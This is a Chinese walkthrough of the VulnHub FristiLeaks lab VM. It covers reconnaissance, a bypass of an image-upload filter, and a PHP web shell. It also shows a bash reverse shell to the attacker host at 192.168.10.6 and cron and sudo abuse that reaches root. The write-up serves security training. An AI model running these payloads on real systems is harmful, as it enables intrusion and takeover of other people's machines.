vulnhub靶场之fristileaks靶机

admin 2025年3月14日13:19:12评论8 views字数 5285阅读17分37秒阅读模式

前言

靶机:fristileaks靶机,IP地址为192.168.10.10

攻击:kali,IP地址为192.168.10.6

靶机采用virtualbox虚拟机,攻击机采用VMware虚拟机,都采用桥接网卡模式

这里需要注意一点,官方给出提示,需要把虚拟机的MAC地址修改。

VMWare修改为08:00:27:A5:A6:76,在virtualbox修改为080027A5A676

vulnhub靶场之fristileaks靶机

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/a1ae978b65e1

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l
vulnhub靶场之fristileaks靶机

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.10 -p- -oA nmap-tcp
vulnhub靶场之fristileaks靶机

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.10 --top-ports 20 -oA nmap-udp
vulnhub靶场之fristileaks靶机

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内

ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`
vulnhub靶场之fristileaks靶机

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.10 -p $ports --min-rate=1000
vulnhub靶场之fristileaks靶机

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.10 -p $ports
vulnhub靶场之fristileaks靶机

网站信息探测

访问80端口网站,查看页面源代码并没有信息泄露

vulnhub靶场之fristileaks靶机

使用whatweb或者浏览器插件wappalyzer识别配置

whatweb http://192.168.10.10
vulnhub靶场之fristileaks靶机
vulnhub靶场之fristileaks靶机

使用gobuster、dirb、dirsearch等工具进行目录爆破

dirb http://192.168.10.10
vulnhub靶场之fristileaks靶机

访问robots.txt,发现三个目录cola、sisi、beer

访问三个目录,发现都指向一个图片

vulnhub靶场之fristileaks靶机

图片中说没有链接,但是图片右下角有一个域名,不知道是否有用,记一下memegenerator.net

把这个图片下载,测试有无隐藏信息

wget http://192.168.10.10/images/3037440.jpg
exiftool 3037440.jpg
vulnhub靶场之fristileaks靶机

那么再使用binwalksteghide测试

binwalk 3037440.jpg
steghide info 3037440.jpg
vulnhub靶场之fristileaks靶机

尝试使用stegseek爆破测试,到底是否有密码和隐藏信息

stegseek --crack 3037440.jpg -wl /usr/share/wordlists/fasttrack.txt result.txt
stegseek --crack 3037440.jpg -wl /usr/share/wordlists/rockyou.txt result.txt
#上面没有破解,尝试爬取网站信息做字典,然后爆破
cewl http://192.168.10.10 -m 3 -w word
stegseek --crack 3037440.jpg -wl word result.txt
vulnhub靶场之fristileaks靶机

目前来看,可能就是那个域名了,直接访问并不行,是否是密码呢,测试图片,发现也不是。

那么绑定域名吧,可能需要绑定,但是绑定后也没有内容产出,尝试使用gobuster扫描虚拟主机,也没有发现内容

网站信息分析

啧,访问images目录,发现两个图片,一个是之前访问的,另一个是主页显示的

发现东西,这里明显keep-calm对应着图片中的两个单词

vulnhub靶场之fristileaks靶机

那么下面两个呢drinkfristi,是否也是一种文件,或者目录,尝试构造可能性

drink
fristi
drink-fristi
fristi-drink

以这个为字典,进一步进行目录爆破,当然后缀名,可通过工具添加

gobuster dir -u http://192.168.10.10 -w word -b 403-404 -x php,html,txt,git,zip,jpg,png
vulnhub靶场之fristileaks靶机

访问这个目录fristi,发现一个登录框

vulnhub靶场之fristileaks靶机

信息泄露

查看页面源代码,发现有提示说,做了base64编码,说是图片,并且有一个by eezeepz,这个可能是用户名

vulnhub靶场之fristileaks靶机

继续向下查看页面源代码,发现有一个base64编码的内容

vulnhub靶场之fristileaks靶机

把这个使用base64解码后,确定文件格式为png

vulnhub靶场之fristileaks靶机

然后保存到文件1.png

vulnhub靶场之fristileaks靶机

查看这个1.png,内容为keKkeKKeKKeKkEkkEk

vulnhub靶场之fristileaks靶机

结合看,这个是否为登录时的密码呢,也就是前面的用户名eezeepz和这个密码keKkeKKeKKeKkEkkEk

文件上传漏洞(apache解析)

登录成功

vulnhub靶场之fristileaks靶机

点击upload file,发现跳转,然后可以上传文件,不过这里提示是选择图片上传

vulnhub靶场之fristileaks靶机

ok,先上传一个图片文件测试,看能否知道上传后的路径,以及文件名是否被修改

上传文件名为joker-movie-wallpaper.jpg文件,发现提示上传到一个路径/uploads

vulnhub靶场之fristileaks靶机

那么尝试构造路径,/fristi/uploads,这个路径确实有,那么测试文件名是否被修改

构造/fristi/uploads/joker-movie-wallpaper.jpg,访问后发现确实可以,文件名不会被修改,并且不会到一定时间自动删除

vulnhub靶场之fristileaks靶机

那么尝试上传脚本文件,因为几个文件都是php,所以测试php

直接上传php文件是不行的,这里提示三只图片格式可以

vulnhub靶场之fristileaks靶机

那么尝试文件名的绕过进行测试,之前测试网站时,中间件是apache的,所以有挺多方式的

在尝试shell2.php.png时,绕过检测,上传成功,这就是apache2解析漏洞了,我这里是采用浏览器的重发功能,编辑请求数据包

vulnhub靶场之fristileaks靶机

然后访问这个路径,发现确实执行了php代码

vulnhub靶场之fristileaks靶机

命令执行到反弹shell

那么就可以构造一个命令执行的代码,然后上传

<?phpsystem($_GET['cmd']);?>

还是以浏览器上传的方式

vulnhub靶场之fristileaks靶机

然后访问shell3.php.png,并构造链接

http://192.168.10.10/fristi/uploads/shell3.php.png?cmd=id
vulnhub靶场之fristileaks靶机

那么尝试反弹shell的代码

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
#因为在url中,所以进行url编码
bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.6%2f9999+0%3e%261

然后在kali中开启监听

nc -lvvp 9999

然后在浏览器执行即可

http://192.168.10.10/fristi/uploads/shell3.php.png?cmd=bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.6%2f9999+0%3e%261
vulnhub靶场之fristileaks靶机

靶机内信息收集

使用compgen测试安装了什么版本的python

compgen -c | grep python

发现是python2,那么使用代码获取一个进一步的shell

python2 -c 'import pty;pty.spawn("/bin/bash")'
vulnhub靶场之fristileaks靶机

/var/www目录,发现一个notes.txt文件,查看,发现是jerryeezeepz的信息

vulnhub靶场之fristileaks靶机

查看有哪些用户

ls -la /home
cat /etc/passwd | grep /bin/bash
vulnhub靶场之fristileaks靶机

查看网站状态,发现3306端口开放的

ip add
ss -antulp
netstat -antulp
vulnhub靶场之fristileaks靶机

那么去查看网站连接数据库的文件checklogin.php,发现连接的密码等.用户名eezeepz和密码4ll3maal12#

vulnhub靶场之fristileaks靶机

查看数据库中的信息,发现就一个用户

vulnhub靶场之fristileaks靶机

那么对于eezeepz,有两个密码对应着

4ll3maal12#
keKkeKKeKKeKkEkkEk

查看定时任务

crontab -l
cat /etc/crontab
atq
vulnhub靶场之fristileaks靶机

使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null
vulnhub靶场之fristileaks靶机

收集内核版本和系统版本

uname -a
uname -r
cat /etc/issue
cat /etc/*release
lsb_release
vulnhub靶场之fristileaks靶机

提权

获取admin目录权限

之前在/home目录看到eezeepz账户其他人是可以查看和执行的,那么切换到目录,发现有notes.txt,又一个文件,查看,发现有意思

vulnhub靶场之fristileaks靶机

根据这个文件,可以知道,只要在/tmp目录下创建文件runthis,用户admin就会定时执行,并且可以使用的命令也给出了,那么可以使用chmod加权限,注意需要命令的绝对路径

#经测试,第一条并不会执行成功
echo '/usr/bin/chmod -R 777 /home/admin' > runthis
#下面这个可以修改权限
echo '/home/admin/chmod -R 777 /home/admin' >> runthis
vulnhub靶场之fristileaks靶机

切换到/home/admin目录下,发现一段python代码,和对应的文件名,查看后,发现是一段编码

vulnhub靶场之fristileaks靶机

关键代码如下

base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')

分析可知:先进行了base64编码,然后把编码后的字符进行反转,最后进行rot13编码

那么解开的话,需要先进行rot13解码,然后反转,最后base64解码

具体代码如下

import base64
import codecs
import sys

defdecodeString(encoded_str):
# 先进行 ROT13 解码
    rot13_decoded = codecs.decode(encoded_str, 'rot13')
# 反转字符串
    reversed_str = rot13_decoded[::-1]
# 将反转后的字符串转换为 bytes 类型
    reversed_bytes = reversed_str.encode('utf-8')
# 进行 Base64 解码
    base64_decoded = base64.b64decode(reversed_bytes)
# 将解码后的 bytes 类型转换为字符串
return base64_decoded.decode('utf-8')

if __name__ == "__main__":
        decoded_result = decodeString('mVGZ3O3omkJLmy2pcuTq')
print(decoded_result)

解码的结果为thisisalsopw123

vulnhub靶场之fristileaks靶机

在该目录下,还有一个whoisyourgodnow.txt,查看后,也是类似编码后的,=RFn0AKnlMHMPIzpyuTI0ITG

那么再通过上面的代码进行解码,结果为LetThereBeFristi!

总结一下,当前获取的值,首先是前面文件名是加密后的密码,解码后为thisisalsopw123

另一个是所有者为fristigod的文件whoisyourgodnow.txt,解码后为LetThereBeFristi!

并且经过测试,这两个文件解码后的内容,都是对应的密码

用户名
密码
admin
thisisalsopw123
fristigod
LetThereBeFristi!
vulnhub靶场之fristileaks靶机

提权至root

当以admin用户登录时,sudo -l没有任何内容

fristigod用户登录时,sudo -l有一个可用

vulnhub靶场之fristileaks靶机

并且使用find寻找具有SUID权限文件时,这个文件也具有SUID权限的

查看当前用户的命令历史记录,发现别人的命令了

vulnhub靶场之fristileaks靶机

查看了一下/etc/passwd,确实有这个用户,啧

直接复制代码并执行

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /

测试发现,这个后面加上命令,会执行的,所以构造提权的bash

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom bash -p
vulnhub靶场之fristileaks靶机

查看root目录下的文件,发现最后的flagY0u_kn0w_y0u_l0ve_fr1st1

vulnhub靶场之fristileaks靶机

总结

该靶机的考察很广,基本上都涉及一点

  1. 1. 对于网站的robots.txt,以及图片的隐藏信息,不一定隐写,可能就在图片上
  2. 2. 对于网站的页面源代码一定要看
  3. 3. 对于文件上传漏洞的简单测试
  4. 4. 对于php代码以及反弹shell的测试
  5. 5. 对于靶机内信息收集的全面性
  6. 6. 对于提权一些信息也要知道,这里就是查看命令的历史记录

原文始发于微信公众号(泷羽sec-何生安全):vulnhub靶场之fristileaks靶机

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月14日13:19:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   vulnhub靶场之fristileaks靶机https://cn-sec.com/archives/3837753.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息